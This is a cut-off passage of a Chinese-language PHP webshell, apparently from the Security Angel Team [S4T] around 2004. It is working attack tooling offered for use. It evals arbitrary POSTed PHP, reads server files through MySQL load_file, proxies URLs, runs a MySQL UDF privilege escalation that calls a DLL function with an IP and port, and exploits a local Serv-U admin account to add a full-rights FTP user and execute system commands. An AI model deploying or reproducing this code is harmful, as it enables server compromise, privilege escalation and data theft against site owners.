Saiy] [S4T] [7jdg]
声明:请勿使用本程序从事非法行为,否则后果自负!";
/*===================== 配置结束 =====================*/
// 允许程序在 register_globals = off 的环境下工作
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {
@extract($_POST, EXTR_SKIP);
@extract($_GET, EXTR_SKIP);
}
$self = $_SERVER['PHP_SELF'];
$dis_func = get_cfg_var("disable_functions");
/*===================== 身份验证 =====================*/
if($admin['check'] == "1") {
if ($_GET['action'] == "logout") {
setcookie ("adminpass", "");
echo "";
echo "注销成功......";
exit;
}
if ($_POST['do'] == 'login') {
$thepass=trim($_POST['adminpass']);
if ($admin['pass'] == $thepass) {
setcookie ("adminpass",$thepass,time()+(1*24*3600));
echo "";
echo "登陆成功......";
exit;
}
}
if (isset($_COOKIE['adminpass'])) {
if ($_COOKIE['adminpass'] != $admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== 验证结束 =====================*/
// 判断 magic_quotes_gpc 状态
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}
// 查看PHPINFO
if ($_GET['action'] == "phpinfo") {
echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看<PHP环境变量>";
exit;
}
if($_GET['action'] == "nowuser") {
if(get_current_user()) echo"当前进程用户名:".get_current_user();
else echo '无法获取当前进行用户名!';
exit;
}
if(isset($_POST['phpcode'])){
eval("?".">$_POST[phpcode]");
exit;
}
//news
if($action=="mysqldown"){
$link=@mysql_connect($host,$user,$password);
if (!$link) {
$downtmp = '数据库连接失败: ' . mysql_error();
}else{
$query="select load_file('".$filename."');";
$result = @mysql_query($query, $link);
if(!$result){
$downtmp = "读取失败,可能是文件不存在或是没file权限。
".mysql_error();
}else{
while ($row = mysql_fetch_array($result)) {
$filename = basename($filename);
if($rardown=="yes"){
$zip = NEW Zip;
$zipfiles[]=Array("$filename",$row[0]);
$zip->Add($zipfiles,1);
$code = $zip->get_file();
$filename = "".$filename.".rar";
}else{
$code = $row[0];
}
header("Content-type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Accept-Length: ".strlen($code));
header("Content-Disposition: attachment;filename=$filename");
echo($code);
exit;
}
}
}
}
//alexa排名
if ($admin['alexa'] != "1")
{$title = "默认关闭";
}else {
$url= "http://data.alexa.com/data?cli=10&dat=snba&url=".$_SERVER['HTTP_HOST'];
$str = file("$url");
$count = count($str);
for ($i=0;$i<$count;$i++){
$file .= $str[$i];
}
$title = explode("\" TEXT=\"",$file);
$title = explode("\"/>",$title[1]);
$title = $title[0];
if(!$title) $title = "Not data";
}
$cckk = "_".date("Ymd",time());
// 在线代理
if (isset($_POST['url'])) {
$proxycontents = @file_get_contents($_POST['url']);
echo ($proxycontents) ? $proxycontents : "
获取 URL 内容失败
'.$_SERVER['HTTP_HOST'].' | 网站排名:'.$title.' | '.date("Y年m月d日 h:i:s",time()).' | '.$_SERVER['REMOTE_ADDR'].' |
请选择表: | '.$tb->makeselect(array('name'=>'table[]','option'=>$cachetables,'multiple'=>1,'size'=>15,'css'=>1)).' |
备份数据所保存的路径: | '.$tb->makeinput('path',$pathname.'/'.$_SERVER['HTTP_HOST'].$cckk.'_MySQL.sql','','text','50').' |
直接下载到本地 (适合数据量较小的数据库) |
".$info[$i][0]." | ".$info[$i][1]." | \n"; } } elseif ($a == 1) { for ($i=13;$i<=24;$i++) { echo "
".$info[$i][0]." | ".$info[$i][1]." |
".$info[$i][0]." | ".$info[$i][1]." |
";
if($_POST['port'] != "" && $_POST['ip'] != "" && $_POST['function'] != "" && $_POST['host'] != "" && $_POST['user'] != "")
{
$link=@mysql_connect($_POST['host'],$_POST['user'],$_POST['pass']);
if (!$link) {
echo "Could not connect: ".mysql_error()." "; } else{ echo "Connected successfully as ".$_POST['user']." "; if(isset($_POST['mixpath'])&&!@file_exists($_POST['mixpath'])){ echo"Can't find the ".$_POST['mixpath']." "; } if(isset($_POST['mixpath'])){ $dll_path = addslashes($_POST['mixpath']); $query="create function ".$_POST['function']." returns integer soname '".$dll_path."';"; echo (@mysql_query($query, $link)) ? "Success: ".$query." " : "Create function faild! ".mysql_error()." "; } echo"Now Select Function name of ".$_POST['function']." "; $query="select ".$_POST['function']."('".$_POST['ip']."','".$_POST['port']."');"; echo (@mysql_query($query, $link)) ? "Success: ".$query." " : "Select Function name of ".$_POST['function']." faild! ".mysql_error()." "; mysql_close($link); } }else{ echo"Help?? View http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006"; } echo " |
mysql_function提权(mix.dll) |
Remember,Love is a dieing dream.... |
";
$sendbuf = "";
$recvbuf = "";
$domain = "-SETDOMAIN\r\n".
"-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n".
"-TZOEnable=0\r\n".
" TZOKey=\r\n";
$adduser = "-SETUSERSETUP\r\n".
"-IP=0.0.0.0\r\n".
"-PortNo=21\r\n".
"-User=".$user."\r\n".
"-Password=".$password."\r\n".
"-HomeDir=c:\\\r\n".
"-LoginMesFile=\r\n".
"-Disable=0\r\n".
"-RelPaths=1\r\n".
"-NeedSecure=0\r\n".
"-HideHidden=0\r\n".
"-AlwaysAllowLogin=0\r\n".
"-ChangePassword=0\r\n".
"-QuotaEnable=0\r\n".
"-MaxUsersLoginPerIP=-1\r\n".
"-SpeedLimitUp=0\r\n".
"-SpeedLimitDown=0\r\n".
"-MaxNrUsers=-1\r\n".
"-IdleTimeOut=600\r\n".
"-SessionTimeOut=-1\r\n".
"-Expire=0\r\n".
"-RatioUp=1\r\n".
"-RatioDown=1\r\n".
"-RatiosCredit=0\r\n".
"-QuotaCurrent=0\r\n".
"-QuotaMaximum=0\r\n".
"-Maintenance=None\r\n".
"-PasswordType=Regular\r\n".
"-Ratios=None\r\n".
" Access=".$part."\|RWAMELCDP\r\n";
$deldomain="-DELETEDOMAIN\r\n".
"-IP=0.0.0.0\r\n".
" PortNo=21\r\n";
$sock = fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10);
$recvbuf = fgets($sock, 1024);
echo "Recv: $recvbuf "; $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; fputs($sock, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($sock, 1024); echo "Recv: $recvbuf "; $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; fputs($sock, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($sock, 1024); echo "Recv: $recvbuf "; $sendbuf = "SITE MAINTENANCE\r\n"; fputs($sock, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($sock, 1024); echo "Recv: $recvbuf "; $sendbuf = $domain; fputs($sock, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($sock, 1024); echo "Recv: $recvbuf "; $sendbuf = $adduser; fputs($sock, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($sock, 1024); echo "Recv: $recvbuf "; echo "********************************************************** "; if($job!=="adduser"){//假设不是建立用户 echo "Starting Exploit ... "; echo "********************************************************** "; $exp = fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); $recvbuf = fgets($exp, 1024); echo "Recv: $recvbuf "; $sendbuf = "USER ".$user."\r\n"; fputs($exp, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($exp, 1024); echo "Recv: $recvbuf "; $sendbuf = "PASS ".$password."\r\n"; fputs($exp, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($exp, 1024); echo "Recv: $recvbuf "; $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; fputs($exp, $sendbuf, strlen($sendbuf)); echo "Send: site exec ".$_POST["SUCommand"]." "; $recvbuf = fgets($exp, 1024); echo "Recv: $recvbuf "; echo "********************************************************** "; echo "Starting Delete Domain ... "; echo "********************************************************** "; $sendbuf = $deldomain; fputs($sock, $sendbuf, strlen($sendbuf)); echo "Send: $sendbuf "; $recvbuf = fgets($sock, 1024); echo "Recv: $recvbuf "; }else{ echo "All done ... "; echo "********************************************************** "; } echo " |
通过Serv-U 本地管理员帐号执行命令 & 添加域管理 |
Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved. |
".$title." [返回] | \n"; echo "
".$content." | \n"; echo "